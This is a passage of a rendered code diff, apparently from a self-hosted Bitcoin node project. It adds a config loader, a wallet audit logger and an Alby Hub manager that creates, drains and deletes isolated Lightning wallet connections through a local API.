## nix-bitcoin
|
||||
|
||||
Portions of `modules/bitcoin/` and selected package definitions were adapted
|
||||
from [fort-nix/nix-bitcoin](https://github.com/fort-nix/nix-bitcoin), commit
|
||||
[`360e30fee5ba32f9fecc89bc35628195d9d2dbbe`](https://github.com/fort-nix/nix-bitcoin/commit/360e30fee5ba32f9fecc89bc35628195d9d2dbbe).
|
||||
The current Sovran build does not import or fetch nix-bitcoin.
|
||||
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2019 nix-bitcoin developers
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
Other packaged applications retain their own upstream licenses and copyright
|
||||
notices.
|
||||
@@ -0,0 +1 @@
|
||||
<svg xmlns="http://www.w3.org/2000/svg" width="128" height="120" fill="none"><g clip-path="url(#a)"><path fill="#472459" d="M127.2 65.67c-5.13 5.11-12.23 3.88-17.35-1.25l-41.4-41.6 19.4-19.47a11.35 11.35 0 0 1 18.4 3.37l21.58 56.22a2.5 2.5 0 0 1-.57 2.67l-13.63 13.57 13.58-13.51Z"/><path fill="url(#b)" d="m109.85 64.42-54.16-54.4a13.13 13.13 0 0 0-18.57-.05L3.87 43.07a13.13 13.13 0 0 0-.05 18.57l54.16 54.4a13.13 13.13 0 0 0 18.57.04l10.7-10.64 3.12-3.12-10-10.03a19.04 19.04 0 0 1-23.83-2.56l-6.8-6.85a2.46 2.46 0 0 1 0-3.5l3.35-3.32-8.4-8.46a3.67 3.67 0 0 1-.34-4.9 3.57 3.57 0 0 1 5.29-.23l8.51 8.56 6.68-6.63-8.41-8.46a3.67 3.67 0 0 1-.33-4.9 3.58 3.58 0 0 1 5.3-.24l8.5 8.57 3.36-3.34a2.47 2.47 0 0 1 3.5.01l6.8 6.84a19.03 19.03 0 0 1 2.41 23.86l10 10.03 5.69-5.67 8.16-8.12 17.4-17.31c-5.15 5.11-12.25 3.88-17.36-1.25Z"/></g><defs><linearGradient id="b" x1="63.6" x2="63.6" y1="6.15" y2="119.91" gradientUnits="userSpaceOnUse"><stop stop-color="#FFCA4A"/><stop offset="1" stop-color="#F7931A"/></linearGradient><clipPath id="a"><path fill="#fff" d="M0 0h128v119.91H0z"/></clipPath></defs></svg>
|
||||
|
After Width: | Height: | Size: 1.1 KiB |
@@ -1,4 +1,4 @@
|
||||
"""Load the Nix-generated config for Sovran_SystemsOS_Hub."""
|
||||
"""Load the Nix-generated config and build-time versions for Sovran_SystemsOS_Hub."""
|
||||
|
||||
import json
|
||||
import os
|
||||
@@ -18,3 +18,23 @@ def load_config() -> dict:
|
||||
return json.load(fh)
|
||||
except (FileNotFoundError, json.JSONDecodeError):
|
||||
return {"refresh_interval": 5, "command_method": "systemctl", "services": []}
|
||||
|
||||
|
||||
def load_versions() -> dict:
|
||||
"""Read the Nix-generated or fallback build-time package versions."""
|
||||
path = os.environ.get("SOVRAN_HUB_VERSIONS")
|
||||
if not path:
|
||||
# Candidate 1: parent folder (same as config.json, typical for Nix layout)
|
||||
parent_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
candidate1 = os.path.join(parent_dir, "versions.json")
|
||||
if os.path.exists(candidate1):
|
||||
path = candidate1
|
||||
else:
|
||||
# Candidate 2: local package folder (dev folder structure)
|
||||
path = os.path.join(os.path.dirname(os.path.abspath(__file__)), "versions.json")
|
||||
|
||||
try:
|
||||
with open(path, "r") as fh:
|
||||
return json.load(fh)
|
||||
except (FileNotFoundError, json.JSONDecodeError):
|
||||
return {}
|
||||
@@ -0,0 +1,75 @@
|
||||
"""
|
||||
Structured audit logging for NWC wallet operations.
|
||||
|
||||
Writes append-only JSON lines to /var/log/sovran-nwc-audit.log.
|
||||
Log file is owned by albyhub:albyhub with mode 0600.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import threading
|
||||
import time
|
||||
from typing import Any
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
AUDIT_LOG_PATH = "/var/log/sovran-nwc-audit.log"
|
||||
_AUDIT_LOCK = threading.Lock()
|
||||
_initialized = False
|
||||
|
||||
|
||||
def _ensure_log_file() -> None:
|
||||
"""Ensure audit log file exists with correct permissions."""
|
||||
global _initialized
|
||||
if _initialized:
|
||||
return
|
||||
with _AUDIT_LOCK:
|
||||
if _initialized:
|
||||
return
|
||||
try:
|
||||
# Create directory if needed
|
||||
os.makedirs(os.path.dirname(AUDIT_LOG_PATH), exist_ok=True)
|
||||
# Create file if it doesn't exist
|
||||
if not os.path.exists(AUDIT_LOG_PATH):
|
||||
with open(AUDIT_LOG_PATH, "w") as f:
|
||||
pass
|
||||
# Set restrictive permissions
|
||||
os.chmod(AUDIT_LOG_PATH, 0o600)
|
||||
# Try to set ownership to albyhub user (best effort)
|
||||
try:
|
||||
import pwd
|
||||
import grp
|
||||
albyhub_uid = pwd.getpwnam("albyhub").pw_uid
|
||||
albyhub_gid = grp.getgrnam("albyhub").gr_gid
|
||||
os.chown(AUDIT_LOG_PATH, albyhub_uid, albyhub_gid)
|
||||
except Exception:
|
||||
pass # Best effort; may not have permissions
|
||||
_initialized = True
|
||||
except Exception as exc:
|
||||
logger.warning("Failed to initialize audit log: %s", exc)
|
||||
|
||||
|
||||
def audit_log(event: str, **fields: Any) -> None:
|
||||
"""Write a structured audit log entry.
|
||||
|
||||
Args:
|
||||
event: Event type identifier (e.g., "wallet_created", "invoice_issued")
|
||||
**fields: Additional key-value fields to include in the log entry
|
||||
"""
|
||||
_ensure_log_file()
|
||||
|
||||
entry = {
|
||||
"ts": time.time(),
|
||||
"event": event,
|
||||
**fields,
|
||||
}
|
||||
|
||||
try:
|
||||
with _AUDIT_LOCK:
|
||||
with open(AUDIT_LOG_PATH, "a") as f:
|
||||
f.write(json.dumps(entry, separators=(",", ":")) + "\n")
|
||||
except Exception as exc:
|
||||
logger.error("Failed to write audit log: %s", exc)
|
||||
@@ -0,0 +1,881 @@
|
||||
"""
|
||||
Alby Hub manager — shared backend for Lightning Wallet Connections API and recovery CLI.
|
||||
|
||||
Interfaces with the local Alby Hub instance at
|
||||
http://127.0.0.1:18080 by default (override with NWC_ALBY_HUB_API_BASE).
|
||||
All sensitive values (passwords, bearer tokens, pairing URIs, macaroon
|
||||
contents, Nostr private keys) are redacted from any exception messages
|
||||
or log output.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import re
|
||||
import secrets
|
||||
import threading
|
||||
import time
|
||||
import urllib.error
|
||||
import urllib.parse
|
||||
import urllib.request
|
||||
from typing import Any
|
||||
|
||||
from . import nwc_audit as _audit_mod
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# ── Constants ──────────────────────────────────────────────────────
|
||||
|
||||
DEFAULT_API_BASE = os.environ.get(
|
||||
"NWC_ALBY_HUB_API_BASE",
|
||||
"http://127.0.0.1:18080",
|
||||
)
|
||||
DEFAULT_UNLOCK_PASSWORD_FILE = "/var/lib/albyhub/unlock-password"
|
||||
DEFAULT_MACAROON_FILE = os.environ.get(
|
||||
"NWC_LND_MACAROON_FILE", "/run/lnd/albyhub.macaroon"
|
||||
)
|
||||
DEFAULT_LND_ADDRESS = os.environ.get("NWC_LND_ADDRESS", "127.0.0.1:10009")
|
||||
DEFAULT_LND_CERT_FILE = os.environ.get("NWC_LND_CERT_FILE", "/var/lib/lnd/tls.cert")
|
||||
DEFAULT_LND_SOCKET = "/run/lnd/lnd.socket"
|
||||
|
||||
LNURL_DESCRIPTION_DEFAULT = "Pay via Lightning"
|
||||
NWC_MIN_SENDABLE_MSAT = 1000
|
||||
NWC_MAX_SENDABLE_MSAT = 1_000_000_000
|
||||
|
||||
# Metadata key used to mark managed isolated wallets
|
||||
_MANAGED_APP_STORE_ID = "uncle-jim"
|
||||
_MANAGED_META_KEY = "app_store_app_id"
|
||||
|
||||
RECEIVE_ONLY_SCOPES = [
|
||||
"get_info",
|
||||
"get_balance",
|
||||
"make_invoice",
|
||||
"lookup_invoice",
|
||||
"list_transactions",
|
||||
"notifications",
|
||||
]
|
||||
|
||||
LIMITED_SEND_SCOPES = RECEIVE_ONLY_SCOPES + ["pay_invoice"]
|
||||
|
||||
# ── Exceptions ─────────────────────────────────────────────────────
|
||||
|
||||
|
||||
class AlbyHubError(Exception):
|
||||
"""Base error from the Alby Hub manager.
|
||||
|
||||
The message string is safe to surface to the user — it never
|
||||
contains raw secret material.
|
||||
"""
|
||||
|
||||
def __init__(self, code: str, message: str) -> None:
|
||||
super().__init__(message)
|
||||
self.code = code
|
||||
|
||||
def __str__(self) -> str:
|
||||
return f"[{self.code}] {self.args[0]}"
|
||||
|
||||
|
||||
class AlbyHubHttpError(AlbyHubError):
|
||||
def __init__(self, status_code: int, message: str) -> None:
|
||||
super().__init__(f"http_{status_code}", message)
|
||||
self.status_code = status_code
|
||||
|
||||
|
||||
# ── Manager class ──────────────────────────────────────────────────
|
||||
|
||||
|
||||
class AlbyHubManager:
|
||||
"""Thread-safe manager for Alby Hub API operations."""
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
api_base: str = DEFAULT_API_BASE,
|
||||
unlock_password_file: str = DEFAULT_UNLOCK_PASSWORD_FILE,
|
||||
macaroon_file: str = DEFAULT_MACAROON_FILE,
|
||||
lnd_address: str = DEFAULT_LND_ADDRESS,
|
||||
lnd_cert_file: str = DEFAULT_LND_CERT_FILE,
|
||||
) -> None:
|
||||
self.api_base = api_base.rstrip("/")
|
||||
self.unlock_password_file = unlock_password_file
|
||||
self.macaroon_file = macaroon_file
|
||||
self.lnd_address = lnd_address
|
||||
self.lnd_cert_file = lnd_cert_file
|
||||
self._lock = threading.Lock()
|
||||
self._token: str | None = None
|
||||
|
||||
# ── Low-level HTTP ─────────────────────────────────────────────
|
||||
|
||||
def _request(
|
||||
self,
|
||||
method: str,
|
||||
path: str,
|
||||
body: dict | None = None,
|
||||
token: str | None = None,
|
||||
timeout: int = 30,
|
||||
) -> dict:
|
||||
"""Make a raw HTTP request to the local Alby Hub API.
|
||||
|
||||
Returns the parsed JSON response body.
|
||||
Raises AlbyHubHttpError on non-2xx responses.
|
||||
Secrets in response bodies are never included in raised exceptions.
|
||||
"""
|
||||
url = f"{self.api_base}{path}"
|
||||
data = json.dumps(body).encode("utf-8") if body is not None else None
|
||||
headers: dict[str, str] = {
|
||||
"Content-Type": "application/json",
|
||||
"Accept": "application/json",
|
||||
}
|
||||
if token:
|
||||
headers["Authorization"] = "Bearer " + token
|
||||
req = urllib.request.Request(url, data=data, headers=headers, method=method)
|
||||
try:
|
||||
with urllib.request.urlopen(req, timeout=timeout) as resp:
|
||||
raw = resp.read()
|
||||
if not raw:
|
||||
return {}
|
||||
return json.loads(raw)
|
||||
except urllib.error.HTTPError as exc:
|
||||
code = exc.code
|
||||
# Read and discard the body — we do NOT include it in the exception
|
||||
try:
|
||||
exc.read()
|
||||
except Exception:
|
||||
pass
|
||||
raise AlbyHubHttpError(code, f"Hub API {method} {path} returned HTTP {code}") from None
|
||||
except (urllib.error.URLError, TimeoutError, OSError):
|
||||
raise AlbyHubError(
|
||||
"hub_unreachable",
|
||||
f"Hub API {method} {path} is unreachable",
|
||||
) from None
|
||||
|
||||
def _authenticated_request(
|
||||
self,
|
||||
method: str,
|
||||
path: str,
|
||||
body: dict | None = None,
|
||||
timeout: int = 30,
|
||||
) -> dict:
|
||||
"""Make an authenticated request; retry once with a fresh token on 401/403."""
|
||||
token = self.ensure_ready()
|
||||
try:
|
||||
return self._request(method, path, body=body, token=token, timeout=timeout)
|
||||
except AlbyHubHttpError as exc:
|
||||
if exc.status_code in (401, 403):
|
||||
with self._lock:
|
||||
self._token = None
|
||||
token = self.ensure_ready()
|
||||
return self._request(method, path, body=body, token=token, timeout=timeout)
|
||||
raise
|
||||
|
||||
def _paginate(self, path_template: str, page_size: int = 100) -> list[dict]:
|
||||
"""Paginate a list API completely, collecting all items.
|
||||
|
||||
``path_template`` must contain ``{limit}`` and ``{offset}`` placeholders.
|
||||
"""
|
||||
token = self.ensure_ready()
|
||||
offset = 0
|
||||
results: list[dict] = []
|
||||
while True:
|
||||
path = path_template.format(limit=page_size, offset=offset)
|
||||
page = self._request("GET", path, token=token)
|
||||
# Alby Hub returns apps at the top level or under "apps"/"transactions"
|
||||
total_count: int | None = None
|
||||
if isinstance(page, list):
|
||||
items = page
|
||||
elif isinstance(page, dict):
|
||||
items = page.get("apps") or page.get("transactions") or []
|
||||
if page.get("totalCount") is not None:
|
||||
total_count = int(page.get("totalCount"))
|
||||
else:
|
||||
items = []
|
||||
if not isinstance(items, list):
|
||||
break
|
||||
results.extend(items)
|
||||
if total_count is not None:
|
||||
if len(results) >= total_count:
|
||||
break
|
||||
elif len(items) < page_size:
|
||||
break
|
||||
offset += page_size
|
||||
return results
|
||||
|
||||
# ── Audit log helper ───────────────────────────────────────────
|
||||
|
||||
def _audit(self, event: str, **fields: Any) -> None:
|
||||
"""Emit structured audit log entry."""
|
||||
_audit_mod.audit_log(event, **fields)
|
||||
|
||||
# ── Startup / Auth ─────────────────────────────────────────────
|
||||
|
||||
def _read_unlock_password(self) -> str:
|
||||
try:
|
||||
with open(self.unlock_password_file, "r") as fh:
|
||||
return fh.read().strip()
|
||||
except OSError as exc:
|
||||
raise AlbyHubError(
|
||||
"unlock_password_unavailable",
|
||||
"Cannot read Alby Hub unlock password",
|
||||
) from exc
|
||||
|
||||
def _wait_for_file(self, path: str, timeout: int = 120) -> None:
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
if os.path.exists(path):
|
||||
return
|
||||
time.sleep(2)
|
||||
raise AlbyHubError(
|
||||
"dependency_unavailable",
|
||||
f"Timed out waiting for required file: {path}",
|
||||
)
|
||||
|
||||
def _wait_for_hub_api(self, timeout: int = 120) -> None:
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
try:
|
||||
self._request("GET", "/api/info", timeout=5)
|
||||
return
|
||||
except AlbyHubError:
|
||||
pass
|
||||
time.sleep(3)
|
||||
raise AlbyHubError("hub_unavailable", "Timed out waiting for Alby Hub API")
|
||||
|
||||
def _hub_setup(self, password: str) -> None:
|
||||
"""Perform /api/setup idempotently."""
|
||||
try:
|
||||
info = self._request("GET", "/api/info", timeout=10)
|
||||
if info.get("setupCompleted"):
|
||||
return
|
||||
except AlbyHubError:
|
||||
pass
|
||||
|
||||
setup_body = {
|
||||
"backendType": "LND",
|
||||
"unlockPassword": password,
|
||||
"lndAddress": self.lnd_address,
|
||||
"lndCertFile": self.lnd_cert_file,
|
||||
"lndMacaroonFile": self.macaroon_file,
|
||||
}
|
||||
try:
|
||||
self._request("POST", "/api/setup", body=setup_body, timeout=30)
|
||||
except AlbyHubHttpError as exc:
|
||||
if exc.status_code == 409:
|
||||
return # already setup
|
||||
raise
|
||||
|
||||
def _obtain_token(self, password: str) -> str:
|
||||
info = self._request("GET", "/api/info", timeout=10)
|
||||
if info.get("running"):
|
||||
resp = self._request(
|
||||
"POST",
|
||||
"/api/unlock",
|
||||
body={
|
||||
"unlockPassword": password,
|
||||
"permission": "full",
|
||||
},
|
||||
timeout=30,
|
||||
)
|
||||
else:
|
||||
resp = self._request(
|
||||
"POST",
|
||||
"/api/start",
|
||||
body={"unlockPassword": password},
|
||||
timeout=30,
|
||||
)
|
||||
token = (
|
||||
resp.get("token")
|
||||
or resp.get("accessToken")
|
||||
or resp.get("access_token")
|
||||
)
|
||||
if not token or not isinstance(token, str):
|
||||
raise AlbyHubError("auth_failed", "Alby Hub auth response missing token")
|
||||
return token
|
||||
|
||||
def _wait_for_node_ready(self, token: str, timeout: int = 120) -> None:
|
||||
deadline = time.monotonic() + timeout
|
||||
while time.monotonic() < deadline:
|
||||
try:
|
||||
status = self._request(
|
||||
"GET", "/api/node/status", token=token, timeout=10
|
||||
)
|
||||
if status.get("isReady") or status.get("running") or status.get("online"):
|
||||
return
|
||||
except AlbyHubError:
|
||||
pass
|
||||
time.sleep(3)
|
||||
raise AlbyHubError("node_not_ready", "Timed out waiting for Alby Hub node to be ready")
|
||||
|
||||
def ensure_ready(self) -> str:
|
||||
"""Ensure Alby Hub is set up, unlocked, and authenticated.
|
||||
|
||||
Returns a valid bearer token. Caches it and uses a lock to
|
||||
prevent concurrent setup races.
|
||||
"""
|
||||
with self._lock:
|
||||
if self._token:
|
||||
return self._token
|
||||
|
||||
password = self._read_unlock_password()
|
||||
self._wait_for_file(self.macaroon_file, timeout=120)
|
||||
self._wait_for_hub_api(timeout=120)
|
||||
self._hub_setup(password)
|
||||
token = self._obtain_token(password)
|
||||
self._wait_for_node_ready(token, timeout=120)
|
||||
self._token = token
|
||||
return token
|
||||
|
||||
# ── App isolation helpers ──────────────────────────────────────
|
||||
|
||||
@staticmethod
|
||||
def _parse_metadata(raw: Any) -> dict:
|
||||
if isinstance(raw, dict):
|
||||
return raw
|
||||
if isinstance(raw, str):
|
||||
try:
|
||||
result = json.loads(raw)
|
||||
if isinstance(result, dict):
|
||||
return result
|
||||
except Exception:
|
||||
pass
|
||||
return {}
|
||||
|
||||
def _is_managed_app(self, app: dict) -> bool:
|
||||
meta = self._parse_metadata(app.get("metadata"))
|
||||
alias = str(meta.get("lnurl_alias", "")).strip().lower()
|
||||
return (
|
||||
meta.get(_MANAGED_META_KEY) == _MANAGED_APP_STORE_ID
|
||||
and bool(alias)
|
||||
)
|
||||
|
||||
def _app_to_wallet_meta(self, app: dict, domain: str | None) -> dict:
|
||||
meta = self._parse_metadata(app.get("metadata"))
|
||||
alias = meta.get("lnurl_alias", "")
|
||||
address = f"{alias}@{domain}" if alias and domain else None
|
||||
|
||||
scopes = app.get("scopes") or []
|
||||
access_preset = (
|
||||
"send_receive_limited" if "pay_invoice" in scopes else "receive_only"
|
||||
)
|
||||
|
||||
balance_msat = int(app.get("balanceMsat", 0) or 0)
|
||||
balance_sats = balance_msat // 1000
|
||||
dust_msat = balance_msat % 1000
|
||||
|
||||
spending_limit_sats: int | None = None
|
||||
max_amount = app.get("maxAmountSat") or 0
|
||||
if max_amount:
|
||||
spending_limit_sats = int(max_amount)
|
||||
|
||||
# Count pending transactions from the budget or transactions list
|
||||
pending_txs = int(app.get("pendingTransactionsCount", 0) or 0)
|
||||
|
||||
return {
|
||||
"id": str(app.get("id", "")),
|
||||
"pubkey": app.get("appPubkey") or app.get("nostrPubkey") or app.get("pubkey") or "",
|
||||
"name": app.get("name", ""),
|
||||
"alias": alias,
|
||||
"lightning_address": address,
|
||||
"access_preset": access_preset,
|
||||
"spending_limit_sats": spending_limit_sats,
|
||||
"balance_sats": balance_sats,
|
||||
"dust_msat": dust_msat,
|
||||
"pending_transactions": pending_txs,
|
||||
"created_at": app.get("createdAt") or app.get("created_at"),
|
||||
"min_sendable_msat": int(
|
||||
meta.get("lnurl_min_sendable_msat", NWC_MIN_SENDABLE_MSAT)
|
||||
),
|
||||
"max_sendable_msat": int(
|
||||
meta.get("lnurl_max_sendable_msat", NWC_MAX_SENDABLE_MSAT)
|
||||
),
|
||||
}
|
||||
|
||||
def _all_managed_apps(self) -> list[dict]:
|
||||
apps = self._paginate("/api/apps?limit={limit}&offset={offset}&order_by=created_at")
|
||||
return [a for a in apps if a.get("isolated") and self._is_managed_app(a)]
|
||||
|
||||
def _find_managed_app(self, identifier: str) -> dict | None:
|
||||
needle = identifier.strip().lower()
|
||||
for app in self._all_managed_apps():
|
||||
if str(app.get("id", "")).lower() == needle:
|
||||
return app
|
||||
pubkey = (
|
||||
app.get("appPubkey") or app.get("nostrPubkey") or app.get("pubkey") or ""
|
||||
).lower()
|
||||
if pubkey == needle:
|
||||
return app
|
||||
return None
|
||||
|
||||
# ── Public API ─────────────────────────────────────────────────
|
||||
|
||||
def list_wallets(self, domain: str | None = None) -> list[dict]:
|
||||
"""Return all managed isolated app wallets (no secrets)."""
|
||||
wallets = []
|
||||
for app in self._all_managed_apps():
|
||||
app_copy = dict(app)
|
||||
app_copy["pendingTransactionsCount"] = len(self._get_app_pending_txs(int(app["id"])))
|
||||
wallets.append(self._app_to_wallet_meta(app_copy, domain))
|
||||
return wallets
|
||||
|
||||
def create_wallet(
|
||||
self,
|
||||
name: str,
|
||||
alias: str,
|
||||
access_preset: str,
|
||||
spending_limit_sats: int | None,
|
||||
domain: str | None = None,
|
||||
) -> dict:
|
||||
"""Create a new isolated Alby Hub app (wallet connection).
|
||||
|
||||
Returns a dict containing:
|
||||
``wallet`` — safe metadata (no secrets)
|
||||
``pairing_uri`` — real Alby Hub pairingUri (returned ONCE)
|
||||
``result`` — creation status report
|
||||
"""
|
||||
# Validate uniqueness
|
||||
managed = self._all_managed_apps()
|
||||
for a in managed:
|
||||
meta = self._parse_metadata(a.get("metadata"))
|
||||
if meta.get("lnurl_alias", "").lower() == alias.lower():
|
||||
raise AlbyHubError(
|
||||
"alias_exists", "That Lightning Address alias is already in use."
|
||||
)
|
||||
if (a.get("name") or "").lower() == name.lower():
|
||||
raise AlbyHubError(
|
||||
"wallet_name_exists",
|
||||
"That Wallet Connection name already exists.",
|
||||
)
|
||||
|
||||
scopes = (
|
||||
LIMITED_SEND_SCOPES
|
||||
if access_preset == "send_receive_limited"
|
||||
else RECEIVE_ONLY_SCOPES
|
||||
)
|
||||
max_amount = (
|
||||
spending_limit_sats
|
||||
if access_preset == "send_receive_limited" and spending_limit_sats
|
||||
else 0
|
||||
)
|
||||
|
||||
create_body: dict = {
|
||||
"name": name,
|
||||
"scopes": scopes,
|
||||
"isolated": True,
|
||||
"budgetRenewal": "never",
|
||||
"maxAmountSat": max_amount,
|
||||
"metadata": {
|
||||
_MANAGED_META_KEY: _MANAGED_APP_STORE_ID,
|
||||
"lnurl_alias": alias,
|
||||
"lnurl_description": LNURL_DESCRIPTION_DEFAULT,
|
||||
"lnurl_min_sendable_msat": NWC_MIN_SENDABLE_MSAT,
|
||||
"lnurl_max_sendable_msat": NWC_MAX_SENDABLE_MSAT,
|
||||
},
|
||||
}
|
||||
|
||||
resp = self._authenticated_request("POST", "/api/apps", body=create_body)
|
||||
pairing_uri: str = resp.get("pairingUri") or resp.get("pairing_uri") or ""
|
||||
app_id = resp.get("id")
|
||||
|
||||
# Fetch full app details for accurate metadata
|
||||
app_detail: dict | None = None
|
||||
if app_id is not None:
|
||||
try:
|
||||
app_detail = self._authenticated_request(
|
||||
"GET", f"/api/v2/apps/{app_id}"
|
||||
)
|
||||
except AlbyHubError:
|
||||
pass
|
||||
|
||||
if app_detail is None:
|
||||
# Fallback: search recent apps for the one we just created
|
||||
updated = self._all_managed_apps()
|
||||
for a in updated:
|
||||
if str(a.get("id", "")) == str(app_id):
|
||||
app_detail = a
|
||||
break
|
||||
|
||||
wallet_meta = self._app_to_wallet_meta(app_detail or resp, domain)
|
||||
|
||||
# Initial internal transfer for limited wallets
|
||||
funding_result: dict = {"attempted": False, "success": False}
|
||||
if (
|
||||
access_preset == "send_receive_limited"
|
||||
and spending_limit_sats
|
||||
and app_id is not None
|
||||
):
|
||||
funding_result["attempted"] = True
|
||||
try:
|
||||
self._authenticated_request(
|
||||
"POST",
|
||||
"/api/transfers",
|
||||
body={
|
||||
"toAppId": int(app_id),
|
||||
"amountSat": spending_limit_sats,
|
||||
"description": f"Initial funding for {name}",
|
||||
},
|
||||
)
|
||||
funding_result["success"] = True
|
||||
except AlbyHubError as exc:
|
||||
funding_result["error"] = exc.code
|
||||
funding_result["message"] = (
|
||||
"The wallet was created successfully and the NWC connection secret is shown "
|
||||
"above, but initial funding failed. Save the NWC secret now. "
|
||||
"Do not recreate this wallet."
|
||||
)
|
||||
|
||||
# Audit log: wallet created
|
||||
self._audit(
|
||||
"wallet_created",
|
||||
wallet_id=str(app_id) if app_id else "unknown",
|
||||
name=name,
|
||||
alias=alias,
|
||||
access_preset=access_preset,
|
||||
spending_limit_sats=spending_limit_sats,
|
||||
lightning_address=wallet_meta.get("lightning_address"),
|
||||
funding_attempted=funding_result["attempted"],
|
||||
funding_success=funding_result["success"],
|
||||
)
|
||||
|
||||
return {
|
||||
"wallet": wallet_meta,
|
||||
"pairing_uri": pairing_uri, # returned once on create only
|
||||
"result": {
|
||||
"wallet_created": True,
|
||||
"secret_created": bool(pairing_uri),
|
||||
"lightning_address_registered": bool(alias and domain),
|
||||
"funding": funding_result,
|
||||
},
|
||||
}
|
||||
|
||||
def _get_app_balance_msat(self, app: dict) -> int:
|
||||
return int(app.get("balanceMsat", 0) or 0)
|
||||
|
||||
def _get_app_pending_txs(self, app_id: int) -> list[dict]:
|
||||
txs = self._paginate(
|
||||
f"/api/transactions?appId={app_id}&limit={{limit}}&offset={{offset}}"
|
||||
)
|
||||
return [
|
||||
t for t in txs if str(t.get("state", "")).lower() == "pending"
|
||||
]
|
||||
|
||||
def drain_wallet(self, identifier: str) -> dict:
|
||||
"""Drain all whole-satoshi funds from an isolated app to the primary wallet.
|
||||
|
||||
Returns ``{"ok": True, "drained_sats": N, "dust_msat": M}``.
|
||||
Raises AlbyHubError on rejection or failure.
|
||||
"""
|
||||
app = self._find_managed_app(identifier)
|
||||
if app is None:
|
||||
raise AlbyHubError("wallet_not_found", "Wallet connection not found.")
|
||||
|
||||
app_id = int(app["id"])
|
||||
balance_msat = self._get_app_balance_msat(app)
|
||||
|
||||
if balance_msat < 0:
|
||||
raise AlbyHubError("negative_balance", "Wallet has a negative balance.")
|
||||
|
||||
pending = self._get_app_pending_txs(app_id)
|
||||
if pending:
|
||||
raise AlbyHubError(
|
||||
"pending_transactions",
|
||||
"Wallet has pending transactions and cannot be drained.",
|
||||
)
|
||||
|
||||
transferable_msat = (balance_msat // 1000) * 1000
|
||||
expected_dust_msat = balance_msat - transferable_msat
|
||||
|
||||
if transferable_msat == 0:
|
||||
return {"ok": True, "drained_sats": 0, "dust_msat": expected_dust_msat}
|
||||
|
||||
# Save original permissions
|
||||
original_scopes = list(app.get("scopes") or [])
|
||||
original_max = app.get("maxAmountSat") or 0
|
||||
original_renewal = app.get("budgetRenewal") or "never"
|
||||
|
||||
# Temporarily grant pay_invoice scope with sufficient budget
|
||||
app_pubkey = app.get("appPubkey") or app.get("nostrPubkey") or app.get("pubkey") or ""
|
||||
if not app_pubkey:
|
||||
raise AlbyHubError(
|
||||
"app_pubkey_missing",
|
||||
"Cannot drain app: app public key not available.",
|
||||
)
|
||||
|
||||
patch_body = {
|
||||
"scopes": sorted(set(original_scopes) | {"pay_invoice"}),
|
||||
"maxAmountSat": 0,
|
||||
"budgetRenewal": "never",
|
||||
}
|
||||
self._authenticated_request("PATCH", f"/api/apps/{app_pubkey}", body=patch_body)
|
||||
|
||||
drain_error: AlbyHubError | None = None
|
||||
drained_sats = 0
|
||||
try:
|
||||
self._authenticated_request(
|
||||
"POST",
|
||||
"/api/transfers",
|
||||
body={
|
||||
"fromAppId": app_id,
|
||||
"amountMsat": transferable_msat,
|
||||
"description": f"Drain isolated subwallet {app.get('name', '')}",
|
||||
},
|
||||
)
|
||||
drained_sats = transferable_msat // 1000
|
||||
except AlbyHubError as exc:
|
||||
drain_error = exc
|
||||
finally:
|
||||
# Restore original permissions whether drain succeeded or not
|
||||
restore_body = {
|
||||
"scopes": original_scopes,
|
||||
"maxAmountSat": original_max,
|
||||
"budgetRenewal": original_renewal,
|
||||
}
|
||||
try:
|
||||
self._authenticated_request(
|
||||
"PATCH", f"/api/apps/{app_pubkey}", body=restore_body
|
||||
)
|
||||
except AlbyHubError:
|
||||
pass # best-effort restore; don't mask the original error
|
||||
|
||||
if drain_error is not None:
|
||||
raise drain_error
|
||||
|
||||
# Verify remaining balance equals expected dust
|
||||
refreshed = self._authenticated_request("GET", f"/api/v2/apps/{app_id}")
|
||||
remaining_msat = self._get_app_balance_msat(refreshed)
|
||||
if remaining_msat != expected_dust_msat:
|
||||
raise AlbyHubError(
|
||||
"drain_incomplete",
|
||||
"Drain verification failed: final balance does not match expected dust.",
|
||||
)
|
||||
|
||||
# Audit log: wallet drained
|
||||
self._audit(
|
||||
"wallet_drained",
|
||||
wallet_id=str(app_id),
|
||||
name=app.get("name", ""),
|
||||
alias=app.get("alias", ""),
|
||||
drained_sats=drained_sats,
|
||||
dust_msat=expected_dust_msat,
|
||||
)
|
||||
|
||||
return {
|
||||
"ok": True,
|
||||
"drained_sats": drained_sats,
|
||||
"dust_msat": expected_dust_msat,
|
||||
"remaining_msat": remaining_msat,
|
||||
}
|
||||
|
||||
def delete_wallet(self, identifier: str) -> dict:
|
||||
"""Safely drain and delete an isolated app.
|
||||
|
||||
Returns ``{"ok": True, "drained_sats": N}``.
|
||||
"""
|
||||
